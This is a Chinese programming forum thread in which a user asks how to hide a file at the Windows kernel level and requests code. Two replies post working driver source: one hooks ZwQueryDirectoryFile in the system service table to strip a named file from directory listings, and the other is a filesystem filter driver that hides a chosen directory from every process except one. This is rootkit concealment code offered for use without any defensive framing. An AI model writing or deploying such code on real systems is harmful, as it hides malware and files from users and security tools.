如何在内核层隐藏一个文件,让别人看不到,最好给出代码,以及详细指导就给分,本人邮件[email protected]

解决方案 »

  1.   

    一般就是hook一些文件访问函数
    做得狠一点的话就研究下NTFS/FAT的磁盘数据结构 把文件写进去然后标记为坏扇区
      

  2.   

    hook ZwQueryDirectoryFile实现文件隐藏
    #include "ntddk.h"typedef BOOLEAN BOOL;
    typedef unsigned long DWORD;
    typedef DWORD * PDWORD;
    typedef unsigned long ULONG;
    typedef unsigned short WORD;
    typedef unsigned char BYTE;
    // This is our unload function
    #pragma pack(1)
    typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
    } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
    #pragma pack()
    __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;typedef struct _FILE_BOTH_DIR_INFORMATION {
        ULONG           NextEntryOffset;
        ULONG           FileIndex;
        LARGE_INTEGER   CreationTime;
        LARGE_INTEGER   LastAccessTime;
        LARGE_INTEGER   LastWriteTime;
        LARGE_INTEGER   ChangeTime;
        LARGE_INTEGER   EndOfFile;
        LARGE_INTEGER   AllocationSize;
        ULONG           FileAttributes;
        ULONG           FileNameLength;
        ULONG           EaSize;
        CCHAR           ShortNameLength;
        WCHAR           ShortName[12];
        WCHAR           FileName[1];
    } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
    // Our System Call Table
    PVOID* NewSystemCallTable;// Our Memory Descriptor List
    PMDL pMyMDL;#define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook+1)#define HOOK(functionName, newPointer2Function, oldPointer2Function )  \
           oldPointer2Function = (PVOID) InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function)#define UNHOOK(functionName, oldPointer2Function)  \
           InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) oldPointer2Function)NTSYSAPI
    NTSTATUS
    NTAPI ZwQueryDirectoryFile(
      IN  HANDLE FileHandle,
      IN  HANDLE Event OPTIONAL,
      IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
      IN  PVOID ApcContext OPTIONAL,
      OUT PIO_STATUS_BLOCK IoStatusBlock,
      OUT PVOID FileInformation,
      IN  ULONG Length,
      IN  FILE_INFORMATION_CLASS FileInformationClass,
      IN  BOOLEAN ReturnSingleEntry,
      IN  PUNICODE_STRING FileName OPTIONAL,
      IN  BOOLEAN RestartScan
      );
    typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
                IN  HANDLE FileHandle,
      IN  HANDLE Event OPTIONAL,
      IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
      IN  PVOID ApcContext OPTIONAL,
      OUT PIO_STATUS_BLOCK IoStatusBlock,
      OUT PVOID FileInformation,
      IN  ULONG Length,
      IN  FILE_INFORMATION_CLASS FileInformationClass,
      IN  BOOLEAN ReturnSingleEntry,
      IN  PUNICODE_STRING FileName OPTIONAL,
      IN  BOOLEAN RestartScan
      );ZWQUERYDIRECTORYFILE        OldZwQueryDirectoryFile;NTSTATUS NewZwQueryDirectoryFile(
                            IN  HANDLE FileHandle,
      IN  HANDLE Event OPTIONAL,
      IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
      IN  PVOID ApcContext OPTIONAL,
      OUT PIO_STATUS_BLOCK IoStatusBlock,
      OUT PVOID FileInformation,
      IN  ULONG Length,
      IN  FILE_INFORMATION_CLASS FileInformationClass,
      IN  BOOLEAN ReturnSingleEntry,
      IN  PUNICODE_STRING FileName OPTIONAL,
      IN  BOOLEAN RestartScan
      )
    {
      NTSTATUS status;
      ULONG CR0VALUE;
     
      ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
      UNICODE_STRING uniFileName;
      RtlInitAnsiString(&HideDirFile,"HideFile.sys"); 
      DbgPrint("hide: NewZwQueryDirectoryFile called.");  status = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
                      FileHandle,
                      Event,
                      ApcRoutine,
                      ApcContext,
                      IoStatusBlock,
                      FileInformation,
                      Length,
                      FileInformationClass,
                      ReturnSingleEntry,
                      FileName,
                      RestartScan);
      //这部分是隐藏文件的核心部分
        if(NT_SUCCESS(status)&&FileInformationClass==FileBothDirectoryInformation)
      {
        PFILE_BOTH_DIR_INFORMATION pFileInfo;
        PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
        BOOLEAN bLastOne;
        pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation; 
        pLastFileInfo = NULL;
        do
        {
          bLastOne = !( pFileInfo->NextEntryOffset );
          RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
          RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
          RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);      //DbgPrint("ansiFileName :%s\n",ansiFileName.Buffer);
          //DbgPrint("HideDirFile :%s\n",HideDirFile.Buffer);
          if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
          {
              if(bLastOne) 
              {
                  pLastFileInfo->NextEntryOffset = 0;
                break;
              } 
              else //指针往后移动
              {
                int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
                int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
                RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
                continue;
              }
          }
          pLastFileInfo = pFileInfo;
          pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
        }while(!bLastOne);
        RtlFreeAnsiString(&ansiDirName); 
        RtlFreeAnsiString(&ansiFileName);
      }  return status;
    }NTSTATUS Hook( )
    {
      pMyMDL = MmCreateMdl(  NULL,
              KeServiceDescriptorTable.ServiceTableBase,
              KeServiceDescriptorTable.NumberOfServices * 4 );  if( !pMyMDL )
        return( STATUS_UNSUCCESSFUL );  MmBuildMdlForNonPagedPool( pMyMDL );
      pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
      NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );  if( !NewSystemCallTable )
        return( STATUS_UNSUCCESSFUL );
      
      // Add hooks here (remember to unhook if using DriverUnload)  HOOK( ZwQueryDirectoryFile,NewZwQueryDirectoryFile ,OldZwQueryDirectoryFile);  return( STATUS_SUCCESS );
    }
    NTSTATUS UnHook( )
    {
      if( NewSystemCallTable )
      {
          UNHOOK( ZwQueryDirectoryFile, OldZwQueryDirectoryFile );
          MmUnmapLockedPages( NewSystemCallTable, pMyMDL );
          IoFreeMdl( pMyMDL );
      }
      return( STATUS_SUCCESS );
    }NTSTATUS OnUnload( IN PDRIVER_OBJECT DriverObject ){
        NTSTATUS status;
        DbgPrint("OnUnload called\n");
        status=UnHook();
        return status;}NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,                     IN PUNICODE_STRING theRegistryPath){
        NTSTATUS       status = STATUS_SUCCESS;    DbgPrint("I loaded!");      // Initialize the pointer to the unload function
        theDriverObject->DriverUnload  = OnUnload;
          // in the DriverObject
          
        //hook
        Hook();    return STATUS_SUCCESS;}
      

  3.   

    NTSTATUS
    SpyDirControl(
        IN PDEVICE_OBJECT DeviceObject,
        IN PIRP Irp
        )
    {
        PFILESPY_DEVICE_EXTENSION devExt;
        PIO_STACK_LOCATION irpSp;
        PFILE_OBJECT FileObject;
        KEVENT waitEvent;
        NTSTATUS status;
        ULONG bufferLength;
        ULONG newLength;
        ULONG offset;
        ULONG currentPosition;
        PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
        PFILE_BOTH_DIR_INFORMATION preDirInfo = NULL;
        //CHAR name[PROCNAMELEN];
        //PWSTR fileNameBuffer = UNICODE_NULL;   if(gControlDeviceState == CLOSED || PsGetCurrentProcessId()==g_hProcessId)
       {
            return SpyDispatch(DeviceObject,Irp);
       }   devExt = DeviceObject->DeviceExtension;
       irpSp = IoGetCurrentIrpStackLocation(Irp);
       FileObject = irpSp->FileObject;    PAGED_CODE();// if (IS_MY_CONTROL_DEVICE_OBJECT(DeviceObject)) {
    //        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
    //        Irp->IoStatus.Information = 0; 
    //        IoCompleteRequest(Irp, IO_NO_INCREMENT);
    //        return STATUS_INVALID_DEVICE_REQUEST;
    //    }    if (Irp->RequestorMode == KernelMode) {        IoSkipCurrentIrpStackLocation(Irp);
            return IoCallDriver(devExt->NLExtHeader.AttachedToDeviceObject, Irp);
        }
        //
        // Record: Add by lwf : 07-07-20 
        // Purpose: We care about volume filter device object
        //
        
        if (!devExt->NLExtHeader.StorageStackDeviceObject){
        
          IoSkipCurrentIrpStackLocation(Irp);
          return IoCallDriver(devExt->NLExtHeader.AttachedToDeviceObject, Irp);
       }   if (irpSp->MinorFunction != IRP_MN_QUERY_DIRECTORY){
       
          IoSkipCurrentIrpStackLocation(Irp);
          return IoCallDriver(devExt->NLExtHeader.AttachedToDeviceObject, Irp);
       }    if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)->FileInformationClass) {        IoSkipCurrentIrpStackLocation(Irp);
            return IoCallDriver(devExt->NLExtHeader.AttachedToDeviceObject, Irp);
        }    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);
        
        IoCopyCurrentIrpStackLocationToNext(Irp);    IoSetCompletionRoutine(Irp,
            SpyDirControlCompletion,
            &waitEvent,     //context parameter
            TRUE,
            TRUE,
            TRUE
            );
        
        status = IoCallDriver(devExt->NLExtHeader.AttachedToDeviceObject, Irp);
        
        //
        // Wait for the operation to complete
        //
        if (STATUS_PENDING == status) {
        
            status = KeWaitForSingleObject(&waitEvent,
                  Executive,
                  KernelMode,
                  FALSE,
                  NULL
                  );
            ASSERT(STATUS_SUCCESS == status);
        }
        if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length)) {        IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return status;
        }
        
        //
        // Record: add by lwf :07-06-30
        // Purpose:Add for Test getting full path name
        //
        
        while (TRUE) {        bufferLength = ((PQUERY_DIRECTORY)&irpSp->Parameters)->Length;
            newLength = bufferLength;
            currentPosition = 0;
            dirInfo =(PFILE_BOTH_DIR_INFORMATION) Irp->UserBuffer;
            preDirInfo = dirInfo;        if ((!dirInfo) ||(dirInfo->NextEntryOffset > bufferLength)) {              IoCompleteRequest(Irp, IO_NO_INCREMENT);
                  return status;
            }
            
            do {
            
                  //DbgPrint("[FileSpy.sys]MajorFunction-SpyDirControl:%s", SpyGetProcess(name));
                 
                  //
                  // Record: Modify by lwf : 07-06-20
                  // Purpose: Hide Install Directory and permit special process's access
                  // for virtual encrypt disk using "(_stricmp((const char*)VENCRPYTDISK, FileSpyGetProcess(name)))"
                  // Record: Modify For OS Restart BUG 07-07-06
                  //
                  
                  offset = dirInfo->NextEntryOffset;
                  if (/*1*/(dirInfo->FileNameLength > 0)/*1*/ &&
                      /*2*/(IsDirectory(dirInfo->FileAttributes))/*2*/ &&
                      /*3*/(g_ulHiddenDirLen == dirInfo->FileNameLength + sizeof(WCHAR))/*3*/ &&
                      /*4*/(_wcsnicmp( dirInfo->FileName, g_szHiddenDir, dirInfo->FileNameLength / sizeof(WCHAR)) == 0)/*4*/){
                     
                     DbgPrint("[FileSpy.sys]MajorFunction-SpyDirControl,FileNameLength:%d",dirInfo->FileNameLength);
                     
                      if (0 == offset) { // the last one                      preDirInfo->NextEntryOffset = 0;
                          newLength = currentPosition;                  } else {                      if (preDirInfo != dirInfo) {                            preDirInfo->NextEntryOffset += dirInfo->NextEntryOffset;
                                dirInfo = (PFILE_BOTH_DIR_INFORMATION) ((PUCHAR) dirInfo + offset);
                                
                          } else {                            RtlMoveMemory((PUCHAR) dirInfo,(PUCHAR) dirInfo + offset, bufferLength - currentPosition - offset); 
                                newLength -= offset;                      }
                      }
                      
    //                   break;
                  }
                  else
                  {               
                      currentPosition += offset; 
                      preDirInfo = dirInfo;
                      dirInfo =(PFILE_BOTH_DIR_INFORMATION)((PUCHAR) dirInfo + offset);
                  }        } while(0 != offset);        if (0 == newLength) {
                  
                  KeResetEvent(&waitEvent);
                  
                  IoCopyCurrentIrpStackLocationToNext(Irp);
                  
                  IoSetCompletionRoutine(Irp,
                      SpyDirControlCompletion,
                      &waitEvent,     //context parameter
                      TRUE,
                      TRUE,
                      TRUE
                      );
                  
                  status = IoCallDriver(devExt->NLExtHeader.AttachedToDeviceObject, Irp);
                  
                  //
                  //     Wait for the operation to complete
                  //
                  if (STATUS_PENDING == status) {
                  
                      status = KeWaitForSingleObject(&waitEvent,
                          Executive,
                          KernelMode,
                          FALSE,
                          NULL
                          );
                      ASSERT(STATUS_SUCCESS == status);
                  }              if (!NT_SUCCESS(status) ||(0 == Irp->IoStatus.Information)) {
                      
                      break;
                  }        } else {              Irp->IoStatus.Information = newLength;
                  break;
            }
        }    //
        // Record: add by lwf :07-06-30
        // Purpose:Add for Test getting full path name
        //    Irp->IoStatus.Information = newLength; 
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    } BOOLEAN IsDirectory(
        ULONG dirattr
       )
    //----------------------------------------------------------------------
    //
    // IsDirectory
    //
    // Check Whether File Object is Directory 
    //
    //----------------------------------------------------------------------
    {
        return ( (dirattr != 0xffffffff) && (FILE_ATTRIBUTE_DIRECTORY & dirattr) );}        //
            // Record : Add by lwf : 07-06-19
            // Purpose: Handle Setting Hidden Directory Control Code 
            // 
            case FILESPY_SetHiddenDir:            if (InputBuffer == NULL || InputBufferLength <= 0) {                IoStatus->Status = STATUS_INVALID_PARAMETER;
                    DbgPrint("[FileSpy.sys]IOCTLCODE-FILESPY_SetHiddenDir,Err: buffer or length invalid");
                    break;
                }                       //
                // Copy the device name and add a null to ensure that it is null
                // terminated
                //            g_szHiddenDir = ExAllocatePoolWithTag( NonPagedPool,
                                                     InputBufferLength + sizeof(WCHAR),
                                                     FILESPY_POOL_TAG );            if (NULL == g_szHiddenDir) {                IoStatus->Status = STATUS_INSUFFICIENT_RESOURCES;
                    DbgPrint("[FileSpy.sys]IOCTLCODE-FILESPY_SetHiddenDir,Err: alloc memory failed");
                    break;
                }            try {                RtlCopyMemory( g_szHiddenDir, InputBuffer, InputBufferLength );            } except (EXCEPTION_EXECUTE_HANDLER) {                IoStatus->Status = GetExceptionCode();
                    DbgPrint("[FileSpy.sys]IOCTLCODE-FILESPY_SetHiddenDir,Err: copy memory err-%0x",IoStatus->Status);
                }            if (NT_SUCCESS( IoStatus->Status )) {                g_szHiddenDir[InputBufferLength / sizeof(WCHAR)] = UNICODE_NULL;
                    DbgPrint("[Filespy.sys]IOCTLCODE-SetHiddenDir.Dir:%ws-Len:%d",InputBuffer,InputBufferLength);
                    g_ulHiddenDirLen = InputBufferLength;//string length
                    IoStatus->Status = STATUS_SUCCESS;
                }            break;
      

  4.   

    <a href="http://avatar.profile.csdn.net/1/C/0/2_haxzheng.jpg">sss</a>
      

  5.   

    http://avatar.profile.csdn.net/1/C/0/2_haxzheng.jpg
      

  6.   

    其实也不是自己写的。linux带有开源的访问NTFS格式的代码。copy过来改改就OK了。你的隐藏有什么做用呢?